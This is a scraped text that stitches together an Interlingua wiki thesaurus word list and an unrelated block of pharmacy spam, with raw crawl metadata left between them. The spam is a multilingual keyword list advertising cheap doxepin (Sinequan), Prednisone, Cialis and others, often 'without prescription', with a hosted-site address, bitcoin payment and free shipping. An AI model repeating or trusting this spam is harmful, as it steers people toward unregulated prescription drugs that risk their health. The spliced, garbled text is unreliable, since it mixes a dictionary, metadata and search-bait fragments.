cerealiculturaModificar cerebellarModificar cerebellar(es) cerebelloModificar cerebelloseModificar cerebelloso(s) \/ cerebellosa(s) cerebellospinalModificar cerebellospinal(es) cerebralModificar cerebral(es) cerebralisationModificar cerebralization cerebralitateModificar cerebralitate frigideModificar cerebralitate frigida cerebrarModificar cerebrar vb cerebrationModificar cerebritisModificar cerebritis [la (pl cerebrites) cerebroModificar cerebro lucideModificar cerebro lucido cerebro-cardiacModificar cerebro-cardiaco(s) \/ cerebro-cardiaca(s) cerebroscopiaModificar cerebrospinalModificar cerebrospinal(es) cerebrovascularModificar cerebrovascular(es) cereeModificar cereo(s) \/ cerea(s) cerefolioModificar ceremoniaModificar ceremonia baptismalModificar ceremonia commemorativeModificar ceremonia commemorativa ceremonia de aperturaModificar ceremonia de baptismoModificar ceremonia de benedictionModificar ceremonia de clausuraModificar ceremonia de coronamentoModificar ceremonia de coronationModificar ceremonia de inaugurationModificar ceremonia de initiationModificar ceremonia de installationModificar ceremonia de juramentoModificar ceremonia de maritageModificar ceremonia de matrimonioModificar ceremonia del corteModificar ceremonia de la corte ceremonia del premiationModificar ceremonia de la premiation ceremonia ecclesiasticModificar ceremonia ecclesiastica ceremonia fastuoseModificar ceremonia fastuosa ceremonia funebreModificar ceremonia inauguralModificar ceremonia inaugurativeModificar ceremonia inaugurativa ceremonia incantatorModificar ceremonia incantatrice ceremonia mortuariModificar ceremonia mortuaria ceremonia nuptialModificar ceremonia religioseModificar ceremonia religiosa ceremonia sacrificialModificar ceremonialModificar ceremonial adj, sub [le ceremonial de incantationModificar ceremonial del corteModificar ceremonial de la corte ceremonial ecclesiasticModificar ceremonial ecclesiastico ceremonial incantatorModificar ceremoniarioModificar ceremonias religioseModificar ceremonias religiosas ceremonias sacralModificar ceremonias sacrales ceremonieroModificar ceremonioseModificar ceremonioso(s) \/ ceremoniosa(s) ceremoniositateModificar cereoModificar cereo de AdventoModificar cereo grandiflorModificar cereo paschalModificar cereriaModificar cereroModificar CeresModificar ceresiaModificar ceresia de maioModificar ceresieModificar ceresio(s) \/ ceresia(s) ceresieroModificar ceresiero ornamentalModificar ceresietoModificar ceresinaModificar cerifereModificar cerifero(s) \/ cerifera(s) cerintheModificar cerinthe [la ceriumModificar CERN: Consilio Europee pro le Recerca NuclearModificar CERN: Consilio Europeo pro la Recerca Nuclear cernerModificar cerner vb ceroferarioModificar ceromantiaModificar ceroplasticModificar ceroplastico(s) \/ ceroplastica(s) ceroplasticaModificar ceroseModificar ceroso(s) \/ cerosa(s) certeModificar certo(s) \/ certa(s) certe dieModificar certe plantas aquatic es submersibileModificar certas plantas aquaticas son submersibiles certificarModificar certificar un cautionModificar certificar una caution certificationModificar certificatoModificar certificato actionariModificar certificato actionario certificato de actionistaModificar certificato de ascendentiaModificar certificato de assecurantiaModificar certificato de authenticitateModificar certificato de baptismoModificar certificato de bon comportamentoModificar certificato de bon conducta (moral)Modificar certificato de bona conducta (moral) certificato de bon moresModificar certificato de bonos mores certificato de bon vita e moresModificar certificato de bona vita e \/ et mores certificato de competentiaModificar certificato de disdoanamentoModificar certificato de fin de studiosModificar certificato de garantiaModificar certificato de identitateModificar certificato de indigentiaModificar certificato de inrolamentoModificar certificato de inscriptionModificar certificato de investimentoModificar certificato de laborModificar certificato de maritageModificar certificato de matrimonioModificar certificato de morteModificar certificato de nascentiaModificar certificato de nationalitateModificar certificato de navigabilitateModificar certificato de obitoModificar certificato de optionModificar certificato de origineModificar certificato de pagamentoModificar certificato de participationModificar certificato de registrationModificar certificato de sanitateModificar certificato de tonnageModificar certificato de travalioModificar certificato de vaccinationModificar certificato medicalModificar certificato prenuptialModificar certificato sanitariModificar certificatorModificar certificator de cautionModificar certitudeModificar certitude absoluteModificar certitude absoluta certoModificar certo [le ceruleeModificar ceruleo(s) \/ cerulea(s) cerumineModificar cerumine [le ceruminoseModificar ceruminoso(s) \/ ceruminosa(s) cerussaModificar cerussiteModificar cerussite [la cervaModificar cervariModificar cervario(s) \/ cervaria(s) cervelataModificar cervicalModificar cervical(es) cervicalgiaModificar cervicapraModificar cerviceModificar cervice [la cervicitisModificar cervicodorsalModificar cervicodorsal(es) cervidosModificar cervinModificar cervino(s) \/ cervina(s) cervinoModificar cervoModificar cervo de dece cornosModificar cervo volanteModificar cervo vulnerateModificar cervo vulnerato cesarModificar cesar [le CesareModificar cesareeModificar cesareo(s) \/ cesarea(s) cesarismoModificar cesaropapismoModificar cesaropapistaModificar cesiumModificar cessa-le-focoModificar cessa-le-foco [le cessanteModificar cessante(s) cessarModificar cessar de florarModificar cessar le focoModificar cessar le hostilitatesModificar cessar las hostilitates cessar le pagamentosModificar cessar los pagamentos cessar un exoperoModificar cessationModificar cessation de \/ del pagamentoModificar cessation del hostilitatesModificar cessation de las hostilitates cessation progressiveModificar cessation progressiva cessibileModificar cessibile(s) cessibilitateModificar cessibilitate de un derectoModificar cessionModificar cession de benesModificar cession de debitasModificar cession del contractoModificar cession territorialModificar cessionarioModificar cestoModificar cestodosModificar cesuraModificar cesuralModificar cesural(es) cetaceeModificar cetaceo(s) \/ cetacea(s) cetaceoModificar cetanoModificar ceterachModificar ceterach [la cetereModificar cetero(s) \/ cetera(s) ceteroModificar cetero [le cetero = ceterumModificar cetero = ceterum adv cetunculoModificar CeylonModificar ceyloneseModificar ceylonese(s) \/ ceylonesa(s) adj, sub chacal {sh}Modificar cha-cha-cha {sh}Modificar cha-cha-cha [le chachiero {sh...k}Modificar chachista {sh...k}Modificar chaco {sh}Modificar chaco al rege!Modificar chaco dupleModificar chaco duplo chaco e matModificar chaco e \/ et mat chaco matModificar chaco perpetualModificar chaco perpetueModificar chaco perpetuo chaconne [F]Modificar chacos {sh}Modificar chaise [F]Modificar chaise a \/ de brachios \/ braciosModificar chaise longue [F]Modificar chaise rolanteModificar chal {sh}Modificar chal [le chalazaModificar chalcochemigraphiaModificar chalcographiaModificar chalcographicModificar chalcographico(s) \/ chalcographica(s) chalcographoModificar chalcolithicModificar chalcolithico(s) \/ chalcolithica(s) chalcopyriteModificar chalcosinaModificar chalcositeModificar chaldaicModificar chaldaico(s) \/ chaldaica(s) ChaldeaModificar chaldeeModificar chaldeo(s) \/ chaldea(s) chaldeoModificar chalet [F]Modificar chalet de fin de septimanaModificar chalet de week-endModificar challenge [A]Modificar challenger [A]Modificar chalupa {sh}Modificar chalupa de salvamentoModificar chalupa de salvationModificar ChamModificar chambellan {sh}Modificar chameleonic \/ chameleonticModificar [chameleonico(s) \/ chamelionica(s)] \/ [chameleontico(s) \/ chameleontica(s)] chameleonteModificar chameleonte [le chamitaModificar chamiticModificar chamitico(s) \/ chamitica(s) Champagne [F]Modificar champagneModificar champignon [F]Modificar champignon atomicModificar champignon atomico champignon comestibileModificar champignon edibileModificar champignon venenoseModificar champignon venenoso champion [A]Modificar chance {sh}Modificar chance [la chance de superviventiaModificar chances equal pro totesModificar chances equales pro totos chancreModificar chancre [le chancre molleModificar chancre syphiliticModificar chancre syphilitico chanfrenar {sh}Modificar chanfrenar vb chanfreno {sh}Modificar chanson [F]Modificar chansonnier [F]Modificar chantage {sh}Modificar chantage abjecteModificar chantage abjecto chantagistaModificar chantilly [F]Modificar chaosModificar chaos economicModificar chaos economico chaos politicModificar chaos politico chaoticModificar chaotico(s) \/ chaotica(s) chaperon [F]Modificar chaperonage {sh}Modificar chaperonar {sh}Modificar chaplinesc {sh}Modificar chaplinesco(s) \/ chaplinesca(s) char à bancs [F]Modificar characterModificar character [le character alogic del arteModificar character alogico de la arte character ambivalenteModificar character anguloseModificar character anguloso character aperteModificar character aperto character atrabiliariModificar character atrabiliario character autoritariModificar character autoritario character bellicoseModificar character bellicoso character bilioseModificar character bilioso character campestreModificar character cholericModificar character cholerico character clauseModificar character clauso character communicativeModificar character communicativo character complacenteModificar character complexeModificar character complexo character confidentialModificar character congenitalModificar character constitutionalModificar character conventionalModificar character cursiveModificar character cursivo character de imprimeriaModificar character de scripturaModificar character debileModificar character despoticModificar character despotico character difficileModificar character discutibileModificar character disloyalModificar character docileModificar character dominanteModificar character egocentricModificar character egocentrico character egotistaModificar character egotisticModificar character egotistico character epidemic de un maladiaModificar character epidemico de una maladia character essential de un libroModificar character flexibileModificar character focoseModificar character focoso character frivoleModificar character frivolo character grasseModificar character grasso character guerrierModificar character guerriero character imperioseModificar character imperioso character inconstanteModificar character indeciseModificar character indeciso character indisciplinabileModificar character indomabileModificar character inflexibileModificar character instabileModificar character interdisciplinari del recerca(s)Modificar character interdisciplinario de la(s) recerca(s) character intransigenteModificar character irascibileModificar character irresoluteModificar character irresoluto character italicModificar character italico character litigioseModificar character litigioso character magreModificar character magro character majusculeModificar character majusculo character manuscripteModificar character manuscripto character martialModificar character minusculeModificar character minusculo character monoicModificar character monoico character phenotypicModificar character phenotypico character phlegmaticModificar character phlegmatico character pluralistic del pragmatismo moderneModificar character pluralistico del pragmatismo moderno character recalcitranteModificar character repellenteModificar character runicModificar character runico character tridimensionalModificar character typographicModificar character typographico character umbrateModificar character umbrato characteres compatibileModificar characteres compatibiles characteres cyrillicModificar characteres cyrillicos characteres del divisibilitateModificar characteres de la divisibilitate characteres discordanteModificar characteres discordantes characteres grasseModificar characteres grassos characteres hereditariModificar characteres hereditarios characteres incompatibileModificar characteres incompatibiles characteres mobileModificar characteres mobiles characteres paleographic de un codiceModificar characteres paleographicos de un codice characteres romanModificar characteres romanos characteres separateModificar characteres separatos characteres sexualModificar characteres sexuales characteres sexual secundariModificar characteres sexuales secundarios characterisarModificar characterizar characterisationModificar characterization characteristicModificar characteristico(s) \/ characteristica(s) characteristicaModificar characteristica directionalModificar characteristica dynamicModificar characteristica dynamica characteristica frequentialModificar characteristica principalModificar characteristica racialModificar characteristica recessiveModificar characteristica recessiva characteristica stilisticModificar characteristica stilistica characteristica structuralModificar characteristicas ethnicModificar characteristicas ethnicas characteristicas exteriorModificar characteristicas exteriores characteristicas externeModificar characteristicas externas characteristicas faunistic de un regionModificar characteristicas faunisticas de una region characteristicas rhythmicModificar characteristicas rhythmicas characterologiaModificar characterologicModificar characterologico(s) \/ characterologica(s) characterologoModificar charade [F]Modificar charismaModificar charisma [le charismaticModificar charismatico(s) \/ charismatica(s) charivari {sh}Modificar charivari [le charlatan [F]Modificar charlataneria {sh}Modificar charlatanesc {sh}Modificar charlatanesco(s) \/ charlatanesca(s) charlatanismo{sh}Modificar charleston [A]Modificar charme [F]Modificar CharonModificar charpa {sh}Modificar chartaModificar Charta del Nationes UniteModificar Charta de las Nationes Unitas chartarModificar charter [A]Modificar chartismoModificar chartistaModificar chartreuse [F]Modificar CharybdisModificar chassa {sh}Modificar chassa con furettoModificar chassator {sh}Modificar chassa de anatesModificar chassa de avesModificar chassa de balenasModificar chassa de bisones \/ bisontesModificar chassa de bufalosModificar chassa de castoresModificar chassa de coniliosModificar chassa de coturnicesModificar chassa de crocodilosModificar chassa de elephantesModificar chassa de faisanesModificar chassa de leonesModificar chassa de luposModificar chassa de lutrasModificar chassa de morsasModificar chassa de musesModificar chassa de ocasModificar chassa de pantherasModificar chassa de perdicesModificar chassa de phocasModificar chassa de qualiasModificar chassa de rattosModificar chassa de renesModificar chassa de talpasModificar chassa de taxonesModificar chassa de tigresModificar chassa de ursosModificar chassa de vulpesModificar chassa furtiveModificar chassa furtiva chassa prohibiteModificar chassa prohibita chassamuscas {sh}Modificar chassamuscas [le chassar {sh}Modificar chassar avesModificar chassar con furettoModificar chassar illicitementeModificar chassar le fumoModificar chassar pensamentos tristeModificar chassar pensamentos tristes chassar pensatas tristeModificar chassar pensatas tristes chassar perdicesModificar chassar su predaModificar chassasubmarinosModificar chassasubmarinos [le chassator a \/ de reactionModificar chassator alpinModificar chassator alpino chassator bombarderoModificar chassator de anatesModificar chassator de avesModificar chassator de balenasModificar chassator de bisones \/ bisontesModificar chassator de bufalosModificar chassator de capitesModificar chassator de castoresModificar chassator de coniliosModificar chassator de coturnicesModificar chassator de crocodilosModificar chassator de elephantesModificar chassator de faisanesModificar chassator de interceptionModificar chassator de leonesModificar chassator de luposModificar chassator de lutrasModificar chassator de minasModificar chassator de morsasModificar chassator de musesModificar chassator de nocteModificar chassator de ocasModificar chassator de pantherasModificar chassator de perdicesModificar chassator de pelliciasModificar chassator de phocasModificar chassator de qualiasModificar chassator de rattosModificar chassator de renesModificar chassator de submarinosModificar chassator de submersibilesModificar chassator de talpasModificar chassator de taxonesModificar chassator de testasModificar chassator de tigresModificar chassator de ursosModificar chassator de vulpesModificar chassator furtiveModificar chassator furtivo chassator illiciteModificar chassator illicito chassator nocturneModificar chassator nocturno chassatorpederoModificar chassatorpedineroModificar chassis [F]Modificar chauffeur [F]Modificar chauffeur de autobusModificar chauffeur de camionModificar chauffeur de taxiModificar Chauvin, NicolasModificar chauvinismo {sho}Modificar chauvinista {sho}Modificar chauvinistic {sho}Modificar chauvinistico(s) \/ chauvinistica(s) chec {tch}Modificar checo(s) \/ checa(s) checklist [A]Modificar check-up [A]Modificar checo {tch}Modificar cheddar [A]Modificar chedditeModificar cheddite [la cheeta [A]Modificar chef [F]Modificar chef-cocinero \/ chef_cocineroModificar chef de banditosModificar chef de brigantesModificar chef de robatoresModificar chef de bureauModificar chef de choroModificar chef de clanModificar chef de cocinaModificar chef de contabilitateModificar chef de equipaModificar chef de fabricaModificar chef de familiaModificar chef de gruppoModificar chef de interprisaModificar chef de kampongModificar chef de magazinModificar chef de nation amicModificar chef de nation amica chef de orchestra (invitate)Modificar chef de orchestra (invitato) chef de partisanosModificar chef de \/ del partitoModificar chef de \/ del personalModificar chef de productionModificar chef de quartieroModificar chef de scholaModificar chef de sectionModificar chef de servicioModificar chef de stationModificar chef de stato amicModificar chef de stato amico chef de trainoModificar chef de triboModificar chef del campoModificar chef del governamentoModificar chef del protocolloModificar chef del rebellosModificar chef de los rebellos chef del stato majorModificar chef directeModificar chef directo chef immediateModificar chef immediato chef mechanicoModificar chef substituteModificar chef substituto chef tribalModificar cheiranthoModificar Cheka [R] {tsh}Modificar chelaModificar chelateModificar chelato(s) \/ chelata(s) chelationModificar chelatoModificar chelatorModificar cheliceraModificar chelidoniaModificar chelonianModificar cheloniano(s) \/ cheloniana(s) chelonianoModificar chemiluminescentiaModificar chemisorption \/ chemosorptionModificar chemotropismoModificar chenille [F]Modificar chenomelesModificar chenomeles [las chenopodiaceasModificar chenopodioModificar chenopodio albeModificar chenopodio albo chenopodio capitateModificar chenopodio capitato chenopodio ficifolieModificar chenopodio ficifolio chenopodio folioseModificar chenopodio folioso chenopodio glaucModificar chenopodio glauco chenopodio rubreModificar chenopodio rubro chenopodio urbicModificar chenopodio urbico chenopodio vulvarModificar cheque [A]Modificar cheque al portatorModificar cheque aperteModificar cheque aperto cheque bancariModificar cheque bancario cheque certificateModificar cheque certificato cheque coperteModificar cheque coperto cheque cruciateModificar cheque cruciato cheque de incassamentoModificar cheque de viageModificar cheque de viagiatorModificar cheque in blancoModificar cheque postalModificar cheque postdatateModificar cheque postdatato cherophylloModificar cherophyllo bulboseModificar cherophyllo bulboso cherophyllo tuberoseModificar cherophyllo tuberoso cherry brandy [A]Modificar chersydroModificar chersydro granulateModificar chersydro granulato cherub \/ cherubinModificar cherub \/ cherubin [le cherubicModificar cherubico(s) \/ cherubica(s) cherubinicModificar cherubinico(s) \/ cherubinica(s) cheruscoModificar chester [A]Modificar chetaModificar chetodonModificar chetodon lanceolateModificar chetodon lanceolato chetopodeModificar chetopodo(s) \/ chetopoda(s) chetopodosModificar chewing gum[A]Modificar chianti [I]Modificar chianti [le chiasmaModificar chiasma [le chiasma de compensationModificar chiasma opticModificar chiasma optico chiasmaticModificar chiasmatico(s) \/ chiasmatica(s) chiasmoModificar chic [F]Modificar chic adj chicana {sh}Modificar chicanar {sh}Modificar chicanero {sh}Modificar chiffonier [F]Modificar chignon [F]Modificar Chile {tsh}Modificar chilen {tsh}Modificar chileno(s) \/ chilena(s) chileno {tsh}Modificar chiliasmoModificar chiliastaModificar chiliasticModificar chiliastico(s) \/ chiliastica(s) chimaphilaModificar chimeraModificar chimericModificar chimerico(s) \/ chimerica(s) chimerisarModificar chimerizar chimeristaModificar chimiaModificar chimia agricoleModificar chimia agricola chimia agriculturalModificar chimia analyticModificar chimia analytica chimia anorganicModificar chimia anorganica chimia applicateModificar chimia applicata chimia biologicModificar chimia biologica chimia del mineralesModificar chimia de los minerales chimia del textilesModificar chimia de los textiles chimia experimentalModificar chimia inorganicModificar chimia inorganica chimia mineralModificar chimia nuclearModificar chimia organicModificar chimia organica chimia physicModificar chimia physica chimia qualitativeModificar chimia qualitativa chimia quanticModificar chimia quantica chimia quantitativeModificar chimia quantitativa chimia syntheticModificar chimia synthetica chimia theoricModificar chimia theorica chimicModificar chimico(s) \/ chimica(s) chimicoModificar chimismoModificar chimistaModificar chimiotherapia \/ chimotherapiaModificar chimpanze {sh}Modificar chimpanze [le China {sh}Modificar China es un pais lontanModificar China est un pais lontano chinchilla {sh... sh}Modificar chinchilla brevicaudateModificar chinchilla brevicaudata chinese {sh}Modificar chinese(s) \/ chinesa(s) chionadoxaModificar chionanthoModificar chip [A]Modificar chip bipolarModificar chipolata {sh}Modificar chiralgiaModificar chirographiaModificar chirographicModificar chirographico(s) \/ chirographica(s) chirologiaModificar chirologicModificar chirologico(s) \/ chirologica(s) chirologoModificar chiromanteModificar chiromante [le \/ la chiromantiaModificar chiropodistaModificar chiropracticaModificar chiropractica [la chiropractorModificar chiroptereModificar chiroptero(s) \/ chiroptera(s) chiropterosModificar chiroscopiaModificar chiroscopicModificar chiroscopico(s) \/ chiroscopica(s) chirurgiaModificar chirurgia cardiacModificar chirurgia cardiaca chirurgia cosmeticModificar chirurgia cosmetica chirurgia de arboreModificar chirurgia del arboresModificar chirurgia de los arbores chirurgia del cordeModificar chirurgia del corde chirurgia del thoraceModificar chirurgia del thorace chirurgia dentalModificar chirurgia dentariModificar chirurgia dentaria chirurgia estheticModificar chirurgia esthetica chirurgia generalModificar chirurgia gynecologicModificar chirurgia gynecologica chirurgia maxillofacialModificar chirurgia orthopedicModificar chirurgia orthopedica chirurgia plasticModificar chirurgia plastica chirurgia thoracicModificar chirurgia thoracica chirurgia traumatologicModificar chirurgia traumatologica chirurgia vascularModificar chirurgicModificar chirurgico(s) \/ chirurgica(s) chirurgoModificar chirurgo cardiacModificar chirurgo cardiaco chirurgo cardiologoModificar chirurgo cardiologo chirurgo dentistaModificar chirurgo orthopedicModificar chirurgo orthopedico chitinaModificar chitinoseModificar chitinoso(s) \/ chitinosa(s) chlamydeModificar chlamyde [la chloasmaModificar chloasma [le chloraModificar chloraceticModificar chloracetico(s) \/ chloracetica(s) chloralModificar chloral(es) chloralismoModificar chlorarModificar chlorateModificar chlorato(s) \/ chlorata(s) chlorationModificar chloratoModificar chlorato de kaliumModificar chlorato de potassiumModificar chlorellaModificar chlorhydratoModificar chlorhydricModificar chlorhydrico(s) \/ chlorhydrica(s) chloricModificar chlorico(s) \/ chlorica(s) chloridoModificar chlorido de ammoniumModificar chlorido de plumboModificar chlorido de polyvinylModificar chlorido de sodiumModificar chlorido de zincModificar chlorido methylicModificar chloritoModificar chloroModificar chloroacetatoModificar chloroformarModificar chloroformar chloroformicModificar chloroformico(s) \/ chloroformica(s) chloroformisarModificar chloroformizar chloroformisationModificar chloroformization chloroformismoModificar chloroformoModificar chlorometriaModificar chlorometricModificar chlorometrico(s) \/ chlorometrica(s) chloromycetinaModificar chlorophyceaModificar chlorophyllaModificar chlorophyllianModificar chlorophylliano(s) \/ chlorophylliana(s) chlorophyllicModificar chlorophyllico(s) \/ chlorophyllica(s) chloropicrinaModificar chloroplastoModificar chloropseidaModificar chloroseModificar chloroso(s) \/ chlorosa(s) chlorosisModificar chlorosis [la pl chloroses chloroticModificar chlorotico(s) \/ chlorotica(s) chlorurarModificar chloruroModificar chloruro de ammoniumModificar chloruro de calceModificar chloruro de plumboModificar chloruro de polyvinylModificar chloruro de potassiumModificar chloruro de sodiumModificar chloruro de sulfureModificar chloruro de zincModificar choc {sh}Modificar choc [le choc anaphylacticModificar choc anaphylactico choc culturalModificar choc de recognitionModificar choc nervoseModificar choc nervoso choccar {sh}Modificar choccar contra un muroModificar choccar contra un muro de incomprehension \/ incomprensionModificar choccar le flagelloModificar chocolate {sh}Modificar chocolate a \/ al liquorModificar chocolate al aquaModificar chocolate a la aqua chocolate al lacteModificar chocolate extrafinModificar chocolate granulateModificar chocolate granulato chocolate in pulvereModificar chocolate suisseModificar chocolate suisso chocolate vanillateModificar chocolate vanillato chocolate vermicelliModificar chocolateriaModificar chocolatero {sh}Modificar chocolatiera {sh}Modificar cholagogeModificar cholagogo(s) \/ cholagoga(s) cholagogoModificar cholecystitisModificar cholecystographiaModificar cholelithiasisModificar cholelithoModificar cholemiaModificar choleraModificar cholera [le \/ la cholera aviariModificar cholera aviario cholera del populoModificar cholera furibundeModificar cholera furibunda cholera impotenteModificar cholera incoercibileModificar cholera popularModificar cholericModificar cholerico(s) \/ cholerica(s) choleriformeModificar choleriforme(s) cholerinaModificar cholesterinaModificar cholesterolModificar cholesterolicModificar cholesterolico(s) \/ cholesterolica(s) cholicModificar cholico(s) \/ cholica(s) cholinaModificar choluriaModificar choluria chomskyan {tsh}Modificar chomskyano(s) \/ chomskyana(s) chondrificarModificar chondrificationModificar chondrillaModificar chondrinaModificar chondriomaModificar chondriteModificar chondritisModificar chondroModificar chondroblastoModificar chondrocranioModificar chondrogenese = chondrogenesisModificar chondroideModificar chondroide(s) adj chondrologiaModificar chondromaModificar chondroma [le chondroskeletoModificar chop suey [A]Modificar choralModificar choral adj, sub [le choral de organoModificar choral del radioModificar choral e fugaModificar choral e \/ et fuga chordaModificar chorda de citheraModificar chorda de harpaModificar chorda de lutModificar chorda de tripaModificar chorda de violinoModificar chorda dorsalModificar chorda tangenteModificar chorda tenditeModificar chorda tendita chordas vocalModificar chordas vocales chordioModificar choreaModificar chorea [la choreicModificar choreico(s) \/ choreica(s) choreographiaModificar choreographicModificar choreographico(s) \/ choreographica(s) choreographoModificar choriambicModificar choriambico(s) \/ choriambica(s) choriamboModificar chorionModificar chorionic","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_carta","date":"2020-02-18T10:14:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143646.38\/warc\/CC-MAIN-20200218085715-20200218115715-00471.warc.gz","language":"ina","language_score":0.3815965652,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.38159656524658203, \"ast_Latn_score\": 0.08085773885250092, \"por_Latn_score\": 0.07989297062158585, \"cat_Latn_score\": 0.03784377872943878, \"spa_Latn_score\": 0.03442413732409477, \"oci_Latn_score\": 0.03302590176463127, \"vec_Latn_score\": 0.02668629214167595, \"ile_Latn_score\": 0.02352452650666237, \"swe_Latn_score\": 0.02042744681239128, \"nld_Latn_score\": 0.019736522808670998, \"lat_Latn_score\": 0.019148701801896095, \"lvs_Latn_score\": 0.017125718295574188, \"arg_Latn_score\": 0.014489145949482918, \"glg_Latn_score\": 0.014270812273025513, \"dan_Latn_score\": 0.01322877686470747, \"ron_Latn_score\": 0.012093043886125088, \"mlt_Latn_score\": 0.010947787202894688, \"pol_Latn_score\": 0.01019672118127346}","num_words":21978,"character_repetition_ratio":0.264,"word_repetition_ratio":0.001,"special_characters_ratio":0.113,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.453,"perplexity_score":7602.4,"cluster_detection":-1} +{"text":"Valutazione 4.5 sulla base di 148 voti.\nPrezzo da €0.26 Per pillola\nposologia do Sinequan generico\nSconto Sinequan Doxepin hydrochloride Giappone\ngenerico do Sinequan bula\nvendita di Sinequan italia\nper acquistare il Sinequan ci vuole la ricetta medica\nIl costo di Sinequan Regno Unito\nfarmacia online andorra Sinequan\nSconto Sinequan 75 mg Austria\nventa de Sinequan en farmacias\nSinequan generico ricetta medica\nAcquistare 75 mg Sinequan Singapore\nacquistare Sinequan sicuro\nPrezzo basso Doxepin hydrochloride Emirati Arabi Uniti\nse puede comprar Sinequan en farmacia sin receta\nOrdine 75 mg Sinequan Austria\nbuy Cialis Oral Jelly\ncheap Prednisone\ncheap Cialis Black\ncyberdemosite.000webhostapp.com\nPrezzo Vardenafil 20 mg Generico in Troup, TX\nOrdine 75 mg Sinequan Israele\ncomprar Sinequan sin receta farmacias\nacquistare Sinequan roma\nconveniente Doxepin hydrochloride USA\nSinequan generico españa\nAcquista Sinequan Croazia\nIl costo di 75 mg Sinequan Norvegia\nbasso costo Sinequan 75 mg Stati Uniti\nPrezzo 75 mg Sinequan Europa\nQuanto costa Doxepin hydrochloride Brasile\nconveniente 75 mg Sinequan Francia\nA buon mercato Doxepin hydrochloride Finlandia\nin linea Sinequan UK\nprecio de Sinequan en farmacia\nSinequan si acquista\nIl costo di Sinequan Austria\ndove acquistare Sinequan italia\ncosto del Sinequan en farmacia\nQuanto costa Sinequan 75 mg US\ngenerico Sinequan Doxepin hydrochloride Francia\nSinequan farmacia simi\ncome acquistare Sinequan line\nAcquista Sinequan Doxepin hydrochloride Finlandia\nAcquistare Sinequan Belgio\nAcquistare Sinequan Doxepin hydrochloride Portogallo\ncomprar Sinequan generico farmacia\nPrezzo Doxepin hydrochloride Repubblica Ceca\nA buon mercato Doxepin hydrochloride Svizzera\ngenerico Sinequan Doxepin hydrochloride Croazia\nprecio farmacia Sinequan 75 mg\nA buon mercato Sinequan 75 mg Regno Unito\nAcquistare 75 mg Sinequan Svizzera\nQuanto costa Sinequan 75 mg Brasile\nSinequan generico rischi\nacquistare Sinequan a san marino\nSinequan generico visa electron\nnome generico do Sinequan\nSconto Doxepin hydrochloride Norvegia\nQuanto costa Sinequan Israele\ncomprar Sinequan generico paypal\nin linea Sinequan Brasile\ncomprar Sinequan generico en farmacias\nSconto Sinequan Finlandia\nIl costo di Sinequan Doxepin hydrochloride Singapore\nPrezzo 75 mg Sinequan Canada\ncomprar Sinequan generico madrid\nPrezzo Sinequan Doxepin hydrochloride Canada\nconveniente Doxepin hydrochloride Tacchino\ngenerico Doxepin hydrochloride Svezia\ngenerico Sinequan alcool\nQuanto costa Doxepin hydrochloride\nel Sinequan generico sirve\ngenerico Sinequan Doxepin hydrochloride Europa\nAcquistare Sinequan Israele\nPrezzo Sinequan Olanda\nconveniente Sinequan Svizzera\nbasso costo Sinequan Stati Uniti\nSinequan en farmacias sin receta argentina\nSinequan generico precio en argentina\nPrezzo basso Sinequan Tacchino\nconveniente Sinequan Francia\ndonde consigo Sinequan generico mexico\nPrezzo basso Doxepin hydrochloride Norvegia\nA buon mercato Sinequan 75 mg UK\nSinequan generico guadalajara\nSinequan generico costo\nAcquistare Sinequan Austria\nprecio Sinequan farmacia ahumada\nper acquistare il Sinequan serve la ricetta\nacquistare Sinequan per telefono\nSinequan farmacia ahorro\ndove comprare Sinequan generico cerco\nfarmacia. online Sinequan generico\nin linea Sinequan Doxepin hydrochloride Francia\nPrezzo basso Doxepin hydrochloride Danimarca\ngenerico Sinequan medley\ncomprar Sinequan en una farmacia\nin linea Doxepin hydrochloride Portogallo\nIl costo di Sinequan Doxepin hydrochloride Tacchino\nSinequan en farmacias similares\nnome de generico do Sinequan\ncuanto vale Sinequan farmacia\nOrdine 75 mg Sinequan Australia\nSinequan colombia generico\nsito acquisto Sinequan\ngenerico ou similar Sinequan\nPrezzo Sinequan Grecia\nprecio del Sinequan en farmacias del ahorro\nAcquistare Doxepin hydrochloride\nprecio de Sinequan farmacia\nSinequan na farmacia popular\nPrezzo basso 75 mg Sinequan Danimarca\nPrezzo basso Sinequan Doxepin hydrochloride Croazia\nacquisto Sinequan e Sinequan\nA buon mercato 75 mg Sinequan Grecia\nAcquistare Sinequan Doxepin hydrochloride Grecia\nfarmacia que vende Sinequan feminino\nA buon mercato 75 mg Sinequan Olanda\ngenerico Sinequan now\nin linea 75 mg Sinequan Regno Unito\nAcquistare 75 mg Sinequan Grecia\nAcquista 75 mg Sinequan Svizzera\npreço Sinequan generico drogaria pacheco\ngenerico Sinequan Doxepin hydrochloride Spagna\nPrezzo 75 mg Sinequan Portogallo\nIl costo di Sinequan Doxepin hydrochloride Inghilterra\nSconto Sinequan Doxepin hydrochloride Israele\nQuanto costa 75 mg Sinequan Australia\nconveniente Doxepin hydrochloride Brasile\nAcquistare Sinequan Doxepin hydrochloride Polonia\nAcquista 75 mg Sinequan Stati Uniti\nOrdine Doxepin hydrochloride Danimarca\ngenerico 75 mg Sinequan Inghilterra\nconveniente Sinequan Belgio\nAcquistare Doxepin hydrochloride Regno Unito\nSinequan libyan soldiers\nvendita Sinequan italia\nA buon mercato Sinequan 75 mg Norvegia\nSinequan lilly prezzo farmacia\ncomprare Sinequan senza ricetta farmacia\ndove acquistare Sinequan generico\nforo comprar Sinequan generico\nIl costo di Sinequan 75 mg Regno Unito\nSconto Sinequan Doxepin hydrochloride Svezia\nAcquista Sinequan Doxepin hydrochloride Regno Unito\nAcquista Sinequan Inghilterra\nnombre Sinequan farmacia\ndonde comprar Sinequan generico en argentina\ngenericos Sinequan Doxepin hydrochloride levitra\nprecio Sinequan farmacias del ahorro\nSinequan buon prezzo\ncheap Zithromax\ngeneric Flagyl\ncheap Deltasone\nwyip5ae\n- Prednisone Prednisolone Il costo di In linea in Belton, SC \/ pagamento BTC è accettato \/ Spedizione gratuita\n- Sconto System – Visa, E-check, Mastercard Basso costo Tadacip Tadalafil Generico in Rutherfordton, 